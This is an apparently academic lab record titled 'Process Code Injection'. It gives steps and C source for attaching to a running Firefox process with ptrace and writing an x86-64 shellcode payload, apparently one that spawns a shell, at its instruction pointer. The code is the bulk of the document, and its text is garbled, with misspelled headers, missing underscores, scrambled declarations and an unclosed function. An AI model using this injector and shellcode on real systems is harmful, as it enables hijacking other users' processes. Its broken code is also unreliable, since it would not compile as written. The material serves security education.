## EXP NO:8 DATE: 05/04/2024

## PROCESS CODE INJECTION

Aim: To do process code injection on Firefox using ptrace system call

## Algorithm:

- Step 1: Find out the PID of the running Firefox program.
- Step 2: Create the code injection file.
- Step 3: Get the PID of Firefox from the command line arguments.
- Step 4: Allocate memory buffers for the shellcode.
- Step 5: Attach to the victim process with PTRACE\_ATTACH.
- Step 6: Get the register values of the attached process.
- Step 7: Use PTRACE\_POKETEXT to insert the shellcode.
- Step 8: Detach from the victim process using PTRACE\_DETACH.

## **Program:**

```
# include <stdio.h>
# include <stdib.h>
# include <string.h>
# include <unistd.h>
# include <sys/wait.h>
# include <sys/ptrace.h>
# include <sys/user.h>

char shellcode[] = {
    "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97"
    "\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
};
```

```
printf("----Memory
void header() {
bytecode injector\n");
int main(int argc, char** argv) {
int i, size, pid = 0;
                    struct user regs struct
      char*
reg;
buff;
  header();
              pid =
                size =
atoi(argv[1]);
sizeof(shellcode);
                    buff=
(char*)malloc(size);
                      memset(buff,
0x0, size);
  memcpy(buff, shellcode, sizeof(shellcode));
  ptrace(PTRACE ATTACH, pid, 0, 0);
wait((int*)0);
  ptrace(PTRACE GETREGS, pid, 0, &reg);
  printf("Writing EIP 0x%x, process %d\n", reg.eip, pid);
  for (i = 0; i < size; i++)
                                 ptrace(PTRACE POKETEXT, pid,
reg.eip + i, *(int*)(buff + i));
  ptrace(PTRACE DETACH, pid, 0, 0);
free(buff);
return 0;
```
